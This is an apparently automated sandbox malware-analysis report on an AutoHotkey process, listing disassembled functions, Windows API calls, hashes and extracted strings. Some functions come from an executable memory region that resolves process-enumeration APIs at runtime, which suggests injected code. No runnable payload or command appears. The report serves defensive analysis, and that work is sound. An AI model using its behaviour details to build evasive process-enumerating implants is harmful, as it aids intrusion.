Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 0485BA1F
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Module32First), ref: 0485BA31
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0485BA43
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 0485BA55
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 0485BA67

Process32First.KERNEL32(?,00000128), ref: 0485BBDA

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: AddressProc$FirstHandleModuleProcess32
String ID:
API String ID: 2774106396-0
Opcode ID: 1c327ee816d43d967800f9eba1689b28ffc3b4a1c0ec697c8c5bb44fc0db80f8
Instruction ID: edd442dc1d61911ee2662ffb47a610db504ceab50f08e980de23d402722686b5
Opcode Fuzzy Hash: 1c327ee816d43d967800f9eba1689b28ffc3b4a1c0ec697c8c5bb44fc0db80f8
Instruction Fuzzy Hash: E1C080D2702130179F1075F87C848D3974CCD450B73140E62F905D3121E2BDAC119190

Uniqueness

Uniqueness Score: -1.00%

Function 0485BBE9 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 0485B92D: GetModuleHandleA.KERNEL32(kernel32.dll,0000000F,0485BBB4,?,?,048742C9,00000000,048743A7,?,?,?,?,?,0485BCFA,00000000,0485C1F0), ref: 0485B941
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0485B959
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 0485B96B
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 0485B97D
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Heap32First), ref: 0485B98F
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 0485B9A1
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 0485B9B3
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Process32First), ref: 0485B9C5
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0485B9D7
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 0485B9E9
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 0485B9FB
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Thread32First), ref: 0485BA0D
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 0485BA1F
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Module32First), ref: 0485BA31
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0485BA43
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 0485BA55
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 0485BA67

Process32Next.KERNEL32(?,00000128), ref: 0485BBFA

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModuleNextProcess32
String ID:
API String ID: 2237597116-0
Opcode ID: 9772b48aa848a77e8a74ef99842b3ebcf776504417bb2148da5c854e9d8a6f59
Instruction ID: 447c693fd48db06537cd97f43d8923c5d456c41880814a9f25f9fb697468ab28
Opcode Fuzzy Hash: 9772b48aa848a77e8a74ef99842b3ebcf776504417bb2148da5c854e9d8a6f59
Instruction Fuzzy Hash: 59C080D2612534176E1065F87C844D7874CCD891B73140DA2B905D3111E65D9C119190

Uniqueness

Uniqueness Score: -1.00%

Function 048759C9 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,04875A37,00000000,04875A4F,?,?,?,?,04875A8D,00000000,04875AA5,?,?), ref: 048759D4

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 4bff137de83b8da908ac2e645cc3fa487c90a569a2b7e9bb4e3bb2d98164668f
Instruction ID: 5a3591a9c385c4e2b4093360273e8c7314a5bb91c567a721b0bf7c787aa674b6
Opcode Fuzzy Hash: 4bff137de83b8da908ac2e645cc3fa487c90a569a2b7e9bb4e3bb2d98164668f
Instruction Fuzzy Hash: E0C08CE2206204276F1069BC3CE928A028849851393341F26F068C69F2F362F4272011

Uniqueness

Uniqueness Score: -1.00%

Function 048422A9 Relevance: 1.3, APIs: 1, Instructions: 71memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 04842342

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 862a36a0d576227c065ec1202f17d487326ccd546f91bfc3d07402c75df67cff
Instruction ID: 1c70ab5028804c8cbf62bb7a77e1c3e782eb90b1185cccf94821a967a31c875b
Opcode Fuzzy Hash: 862a36a0d576227c065ec1202f17d487326ccd546f91bfc3d07402c75df67cff
Instruction Fuzzy Hash: 6021AFB560824A9FD750CF2CC884A5AB7F4FF88354F148E69F999CB354E330E9548B52

Uniqueness

Uniqueness Score: -1.00%

Function 04874295 Relevance: 1.3, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0485BBA9: CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0485BBBA

Part of subcall function 0485BBC9: Process32First.KERNEL32(?,00000128), ref: 0485BBDA

CloseHandle.KERNEL32(?,0487437B), ref: 0487436E

Part of subcall function 0485BBE9: Process32Next.KERNEL32(?,00000128), ref: 0485BBFA

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 0aad118bd18f981ccd2805f6fe58247a85df27860aec1da068bb4c20370f6f04
Instruction ID: 298f28678f0f1770c56ccad6ffc1469c623700846c607f38bd70ea92f9c43baa
Opcode Fuzzy Hash: 0aad118bd18f981ccd2805f6fe58247a85df27860aec1da068bb4c20370f6f04
Instruction Fuzzy Hash: 9A215470A04709AFEB11DF69CC60DDDBBB9EB89B08F4189B5E808D2650E774BA50DD11

Uniqueness

Uniqueness Score: -1.00%

Function 04842369 Relevance: 1.3, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000), ref: 048423F9

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 11b8bfe42085adfea4406494577bbd31a3c7dc506881e4582e95ebb417fc903d
Instruction ID: 724c32e1bff75534dca8bab3a1e10e0be8257da654d6bbdadc6f1b204fafa5c2
Opcode Fuzzy Hash: 11b8bfe42085adfea4406494577bbd31a3c7dc506881e4582e95ebb417fc903d
Instruction Fuzzy Hash: C921CEB5608206DFD750CF2CD884A2AB7F0FF99354B104EA8F594DB314E330E9998B52

Uniqueness

Uniqueness Score: -1.00%

Function 04874631 Relevance: 1.3, APIs: 1, Instructions: 39sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0487459D: CreateFileA.KERNEL32(00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,04874621,?,?,?,00000001), ref: 048745E2
Part of subcall function 0487459D: WriteFile.KERNEL32(00000000,?,00000000,048746A2,00000000,00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,04874621), ref: 048745FA
Part of subcall function 0487459D: CloseHandle.KERNEL32(00000000,00000000,?,00000000,048746A2,00000000,00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,04874621), ref: 04874606

Sleep.KERNEL32(00000002,00000000,048746A2,?,00000001), ref: 04874682

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSleepWrite
String ID:
API String ID: 1443029356-0
Opcode ID: c23387efbe7a08dd00ed3dbaafa546ac01b5c4794a2b51c079ffa1c49a3ba0b4
Instruction ID: 6e2084d38e87ca8433795a1f3a64cd986e4ad87cb5bae91f82e6b091d590b330
Opcode Fuzzy Hash: c23387efbe7a08dd00ed3dbaafa546ac01b5c4794a2b51c079ffa1c49a3ba0b4
Instruction Fuzzy Hash: 85F0A93060460CFFE701EB6CCC51A9DB7F8DB45704F504A719514D3650EBB4BE00DA11

Uniqueness

Uniqueness Score: -1.00%

Function 0487518D Relevance: 1.3, APIs: 1, Instructions: 3sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000002,04875BA6,00000000,04875BC1), ref: 0487518E

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 4a6a9ff478d8471613e68ed5950632d719ecdef18c16d9231ea721654ab0c535
Instruction ID: 291952e6025789769b85e625f438fa04808133a7c0bd4156c8f520b9b1e4161b
Opcode Fuzzy Hash: 4a6a9ff478d8471613e68ed5950632d719ecdef18c16d9231ea721654ab0c535
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 048B3B3D Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1665821526.00000000048AA000.00000040.00001000.00020000.00000000.sdmp, Offset: 048AA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_48aa000_AutoHotkey.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daf07dfe0449386a21cd617d80c280d79caee84e403b1fdd0f7a77803a7c3103
Instruction ID: 78e4ba4547e8dff531cb66cb15c26eaf3ec346b51f076802617d439c23f133a4
Opcode Fuzzy Hash: daf07dfe0449386a21cd617d80c280d79caee84e403b1fdd0f7a77803a7c3103
Instruction Fuzzy Hash: A931E621204645BFEB224AE88C21BE6B758BF12328F510F15EDEAD3781E770B564C7E5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041F800 Relevance: 162.0, APIs: 45, Strings: 46, Instructions: 2772COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0041F8EF
_memmove.LIBCMT ref: 0041F998
_memmove.LIBCMT ref: 0041FAC7

Strings

& , xrefs: 0041FD3B, 00420E2D
OnClipboardChange, xrefs: 004216E0
Note: The hotkey %s will not be active because it does not exist in the current keyboard layout., xrefs: 00421312
LTrim, xrefs: 00420047
Invalid single-line hotkey/hotstring., xrefs: 00421120, 00421B64
Missing "}", xrefs: 00421C30, 00421C96
Join, xrefs: 0041FF10
Return, xrefs: 00420FD2
Not a valid method, class or property definition., xrefs: 00421A7B, 00421A88, 00421AE2
if not GetKeyState("%s"), xrefs: 0042187E
Hotkeys/hotstrings are not allowed inside functions., xrefs: 00421B07
%s%s%s, xrefs: 00420EE6
Duplicate label., xrefs: 004214BF
<>=/|^,:.+-*&!?~, xrefs: 0041FC80
{RCtrl up}, xrefs: 004218C6, 004218E2
and, xrefs: 0041FE02
AltTabMenu, xrefs: 004211AC
IfWin should be #IfWin., xrefs: 00421B2B
Continuation section too long., xrefs: 00421A35
Out of memory., xrefs: 004214F3, 00421713, 00421BAE
{Blind}%s%s{%s DownR}, xrefs: 004218E3
{Blind}{%s Up}, xrefs: 004219B9
Get, xrefs: 004205E3
Default, xrefs: 004213C3
AltTab, xrefs: 00421174
Missing "{", xrefs: 00421A54, 00421A74, 00421C37, 00421C44
@, xrefs: 00420DE8
?*- , xrefs: 0041FCEA
Not a valid property getter/setter., xrefs: 00421ACA
#CommentFlag, xrefs: 0041F8DB
AltTabAndMenu, xrefs: 004211C5
@, xrefs: 00420CB2
Static, xrefs: 00420852
This hotstring is missing its abbreviation., xrefs: 00421B45
Duplicate hotkey., xrefs: 00421B86
%s up::, xrefs: 00421924
{LCtrl up}, xrefs: 004218CD
%s::, xrefs: 00421822
<>=/|^,:, xrefs: 0041FE46
AltTabMenuDismiss, xrefs: 004211DE
RTrim, xrefs: 00420066
Functions cannot contain functions., xrefs: 00421AA5
Set, xrefs: 004205F7
Missing ")", xrefs: 00421BF2
This line does not contain a recognized action., xrefs: 00421BCF
ShiftAltTab, xrefs: 00421190

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _memmove$__wcsnicmp
String ID: & $#CommentFlag$%s up::$%s%s%s$%s::$<>=/|^,:$<>=/|^,:.+-*&!?~$?*- $@$@$AltTab$AltTabAndMenu$AltTabMenu$AltTabMenuDismiss$Continuation section too long.$Default$Duplicate hotkey.$Duplicate label.$Functions cannot contain functions.$Get$Hotkeys/hotstrings are not allowed inside functions.$IfWin should be #IfWin.$Invalid single-line hotkey/hotstring.$Join$LTrim$Missing ")"$Missing "{"$Missing "}"$Not a valid method, class or property definition.$Not a valid property getter/setter.$Note: The hotkey %s will not be active because it does not exist in the current keyboard layout.$OnClipboardChange$Out of memory.$RTrim$Return$Set$ShiftAltTab$Static$This hotstring is missing its abbreviation.$This line does not contain a recognized action.$and$if not GetKeyState("%s")${Blind}%s%s{%s DownR}${Blind}{%s Up}${LCtrl up}${RCtrl up}
API String ID: 1111699894-2406232025
Opcode ID: b991970de2a430f60c99b32bb1d73b5f463ebb95efc4c14f56d7c003954726a9
Instruction ID: 1f6b0364eb161c12d2371a5075a467368e5717f92921509a5db4fd246407d96f
Opcode Fuzzy Hash: b991970de2a430f60c99b32bb1d73b5f463ebb95efc4c14f56d7c003954726a9
Instruction Fuzzy Hash: 652314717043209ADB309F24A8417BBB7E0AFA5304F94452FE88587392E77D9D85C79B

Uniqueness

Uniqueness Score: -1.00%

Function 00414870 Relevance: 144.8, APIs: 68, Strings: 14, Instructions: 1338keyboardthreadwindowCOMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 004148A9
__wcsnicmp.LIBCMT ref: 004148D7
GetWindowThreadProcessId.USER32(?,00000000), ref: 00414975
AttachThreadInput.USER32(000013F0,00000000,00000001), ref: 004149AD
GetTickCount.KERNEL32 ref: 004149CD
GetCurrentThreadId.KERNEL32 ref: 00414A0F
GetAsyncKeyState.USER32(0000005B), ref: 00414A48
GetAsyncKeyState.USER32(0000005C), ref: 00414A56
GetForegroundWindow.USER32 ref: 00414AB5
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00414AC9
GetGUIThreadInfo.USER32(00000000,?), ref: 00414ADF
GetWindowThreadProcessId.USER32(?,00000000), ref: 00414AF6
GetKeyboardLayout.USER32(00000000), ref: 00414AFB
GetTickCount.KERNEL32 ref: 00414B50
BlockInput.USER32(00000001), ref: 00414C7F
GetTickCount.KERNEL32 ref: 00414CB6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00414CDB
GetTickCount.KERNEL32 ref: 00414D05
_wcschr.LIBCMT ref: 00414D23
_free.LIBCMT ref: 004156E6
GetTickCount.KERNEL32 ref: 0041571D
GetAsyncKeyState.USER32(000000A0), ref: 0041578E
GetAsyncKeyState.USER32(000000A1), ref: 004157A3
GetAsyncKeyState.USER32(000000A2), ref: 004157B8
GetAsyncKeyState.USER32(000000A3), ref: 004157CD
GetAsyncKeyState.USER32(000000A4), ref: 004157E2
GetAsyncKeyState.USER32(000000A5), ref: 004157F7
GetAsyncKeyState.USER32(0000005B), ref: 00415809
GetAsyncKeyState.USER32(0000005C), ref: 0041581B
GetTickCount.KERNEL32 ref: 00415847
GetKeyState.USER32(00000014), ref: 004158FD
GetKeyState.USER32(00000014), ref: 00415905
GetForegroundWindow.USER32(00000000), ref: 00415939
GetWindowThreadProcessId.USER32(00000000), ref: 00415940
AttachThreadInput.USER32(000013F0,?,00000000), ref: 00415977
BlockInput.USER32(00000000), ref: 0041598A
GetForegroundWindow.USER32(00000000), ref: 004159C1
GetWindowThreadProcessId.USER32(00000000), ref: 004159C8

Strings

{Text}, xrefs: 004148D1
Click, xrefs: 00414E62
@, xrefs: 00414D9C
6Dd, xrefs: 00414892, 004159A1
Temp, xrefs: 00414FCF
Raw, xrefs: 00414F08
ASC , xrefs: 0041533D
Down, xrefs: 00414E0F, 00414FB8
{Click, xrefs: 00414922
{Blind}, xrefs: 004148A3
@, xrefs: 00415815
Text, xrefs: 00414F2E
0, xrefs: 00414AD5
^+!#{}, xrefs: 00414D1E

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: State$Async$Thread$Window$CountTick$Process$Input$Foreground$AttachBlock__wcsnicmp$CurrentInfoKeyboardLayoutMessagePeek_free_wcschr
String ID: 0$6Dd$@$@$ASC $Click$Down$Raw$Temp$Text$^+!#{}${Blind}${Click${Text}
API String ID: 2351639582-2613549127
Opcode ID: b7e2721a82e742bfa610aba42655fd02882d97a0f62c758ca71604329d8778c5
Instruction ID: c3c0f8d46686c6f958d5c087e36318339bae220bd0f59bf9fa7e04c04916dbcb
Opcode Fuzzy Hash: b7e2721a82e742bfa610aba42655fd02882d97a0f62c758ca71604329d8778c5
Instruction Fuzzy Hash: CAB22771904244EBDB10DF64DC41BEE3BB1AF95314F18406BE845AB382D7789D85CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 0043B100 Relevance: 88.1, APIs: 32, Strings: 18, Instructions: 610processlibraryloaderCOMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0043B167
__wcsicoll.LIBCMT ref: 0043B179
__wcsicoll.LIBCMT ref: 0043B18B
__wcsicoll.LIBCMT ref: 0043B19D
__wcsicoll.LIBCMT ref: 0043B1AF
__wcsicoll.LIBCMT ref: 0043B1C1
_memset.LIBCMT ref: 0043B368
__swprintf.LIBCMT ref: 0043B3EA
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000044,?), ref: 0043B483
CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,?,00000044,?), ref: 0043B495
CloseHandle.KERNEL32(?), ref: 0043B4D6
_memset.LIBCMT ref: 0043B513
__wcsicoll.LIBCMT ref: 0043B55F
_wcschr.LIBCMT ref: 0043B5AB
ShellExecuteExW.SHELL32(0000003C), ref: 0043B6B6
GetModuleHandleW.KERNEL32(kernel32.dll,GetProcessId), ref: 0043B6DA
GetProcAddress.KERNEL32(00000000), ref: 0043B6E1

Strings

kernel32.dll, xrefs: 0043B6D5
%sAction: <%-0.400s%s>%sParams: <%-0.400s%s>, xrefs: 0043B802
String too long., xrefs: 0043B337
"%s" %s, xrefs: 0043B3E4
System verbs unsupported with RunAs., xrefs: 0043B2EE
print, xrefs: 0043B1A9, 0043B26B
GetProcessId, xrefs: 0043B6D0
properties, xrefs: 0043B1BB, 0043B27D, 0043B556
..., xrefs: 0043B7B9, 0043B7D5, 0043B7FF
.exe.bat.com.cmd.hta, xrefs: 0043B645
Failed attempt to launch program or document:, xrefs: 0043B7F1, 0043B801
Verb: <%s>, xrefs: 0043B76A
find, xrefs: 0043B161, 0043B223
open, xrefs: 0043B185, 0043B247
edit, xrefs: 0043B197, 0043B259
\/., xrefs: 0043B614
Launch Error (possibly related to RunAs):, xrefs: 0043B7EA
explore, xrefs: 0043B173, 0043B235

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll$Handle$Close_memset$AddressCreateExecuteModuleProcProcessShell__swprintf_wcschr
String ID: Verb: <%s>$"%s" %s$%sAction: <%-0.400s%s>%sParams: <%-0.400s%s>$...$.exe.bat.com.cmd.hta$Failed attempt to launch program or document:$GetProcessId$Launch Error (possibly related to RunAs):$String too long.$System verbs unsupported with RunAs.$\/.$edit$explore$find$kernel32.dll$open$print$properties
API String ID: 3691946165-2616667029
Opcode ID: 5abcef5d06facff45b6314a4aafd58100ccc0af49607f7105370ac83bfe8da4b
Instruction ID: 5ca24864ffdfe391d9afc1f4fefd1a1fc3c9b0b0be8a4726113c0e62d7cb2fcb
Opcode Fuzzy Hash: 5abcef5d06facff45b6314a4aafd58100ccc0af49607f7105370ac83bfe8da4b
Instruction Fuzzy Hash: 9A22AD71E002099BDF20DF65CC46BAF77A4EF98304F04556BEA05A7381E7789944CBEA

Uniqueness

Uniqueness Score: -1.00%

Function 004442E0 Relevance: 72.6, APIs: 36, Strings: 5, Instructions: 885windowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00444347
IsIconic.USER32(00000000), ref: 00444358
GetWindowRect.USER32(?,?), ref: 00444370
ClientToScreen.USER32(?,?), ref: 00444392
_wcsrchr.LIBCMT ref: 004443DB
__wcsicoll.LIBCMT ref: 004443F2
__wcsicoll.LIBCMT ref: 00444404
__wcsicoll.LIBCMT ref: 00444416
GetSystemMetrics.USER32(00000031), ref: 0044442A
GetSystemMetrics.USER32(00000032), ref: 00444432
__wcsnicmp.LIBCMT ref: 00444489
__fassign.LIBCMT ref: 004444A8

Part of subcall function 0049BF9D: wcstoxl.LIBCMT ref: 0049BFAD

__wcsnicmp.LIBCMT ref: 004444D0
_wcsncpy.LIBCMT ref: 004444EE
__fassign.LIBCMT ref: 00444532
__fassign.LIBCMT ref: 00444611

Strings

exe, xrefs: 004443FE
Trans, xrefs: 004444CA
Icon, xrefs: 00444483
ico, xrefs: 004443EC
dll, xrefs: 00444410

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __fassign__wcsicoll$MetricsSystemWindow__wcsnicmp$ClientForegroundIconicRectScreen_wcsncpy_wcsrchrwcstoxl
String ID: Icon$Trans$dll$exe$ico
API String ID: 1615180671-2549557054
Opcode ID: 5cffa2d02b715339d04d368462fea6281d9516d45dcbc2f7cec04f06c29c42de
Instruction ID: 6781487cd69923d147860fce434f4b023b3ed7f3227315c4d7f94e20bdf9f24e
Opcode Fuzzy Hash: 5cffa2d02b715339d04d368462fea6281d9516d45dcbc2f7cec04f06c29c42de
Instruction Fuzzy Hash: 8462DEB1A083419FE724DF258880B6BBBE4AFC5704F14492EF58597381E778D845CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 004260F0 Relevance: 62.5, APIs: 13, Strings: 22, Instructions: 1239COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0042629D

Strings

Out of memory., xrefs: 00426225, 00426D35, 004291CF
The leftmost character above is illegal in an expression., xrefs: 00426CB5
<>=/|^,:*&~!()[]{}", xrefs: 004263D8
Not allowed as an output variable., xrefs: 00426C75
'\;`, xrefs: 00426846
Ambiguous or invalid use of ".", xrefs: 00426CD4, 00426CF3
=, xrefs: 0042660E
Parameter #3 invalid., xrefs: 00426E25
Divide by zero, xrefs: 00426F2C
SMHD, xrefs: 00426E0C
<>=/|^,:*&~!()[]{}+-?, xrefs: 00426557, 004265BE, 004265DB
<>=/|^,:*&~!()[]{}+-?., xrefs: 004267D6, 004267F0, 00426809, 00426AE4
Missing close-quote, xrefs: 00426C96
A label must not point to an ELSE or UNTIL or CATCH., xrefs: 00429270
Too many var/func refs., xrefs: 00426D12
Parse, xrefs: 00426297
Unexpected %, xrefs: 00426C5D
Parameter #2 required, xrefs: 00428129
Quote marks are required around this key., xrefs: 004266C4
(, xrefs: 00426971
+, xrefs: 004263EC
Parameter #2 invalid., xrefs: 00426E7E

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: <>=/|^,:*&~!()[]{}"$ <>=/|^,:*&~!()[]{}+-?$ <>=/|^,:*&~!()[]{}+-?.$ =$'\;`$($+$A label must not point to an ELSE or UNTIL or CATCH.$Ambiguous or invalid use of "."$Divide by zero$Missing close-quote$Not allowed as an output variable.$Out of memory.$Parameter #2 invalid.$Parameter #2 required$Parameter #3 invalid.$Parse$Quote marks are required around this key.$SMHD$The leftmost character above is illegal in an expression.$Too many var/func refs.$Unexpected %
API String ID: 3832890014-3913940891
Opcode ID: 4e9acc68733d71761e00002537f0154bf6dc513c63535190e0ba9a5c7405b02e
Instruction ID: f4b49cb2a5af36337f388e1733ae10676f5a2c611ddfa226361d74bc3980114f
Opcode Fuzzy Hash: 4e9acc68733d71761e00002537f0154bf6dc513c63535190e0ba9a5c7405b02e
Instruction Fuzzy Hash: 7FA205717043618ADB209F15E8407BBB7E1AF91314F96446FE8858B381E77CDC85C7AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040C240 Relevance: 33.7, APIs: 17, Strings: 2, Instructions: 452threadkeyboardwindowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(0002044A,0000041E,00000000,?), ref: 0040C301
GetForegroundWindow.USER32 ref: 0040C37C
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0040C396
GetGUIThreadInfo.USER32(00000000,?), ref: 0040C3AE
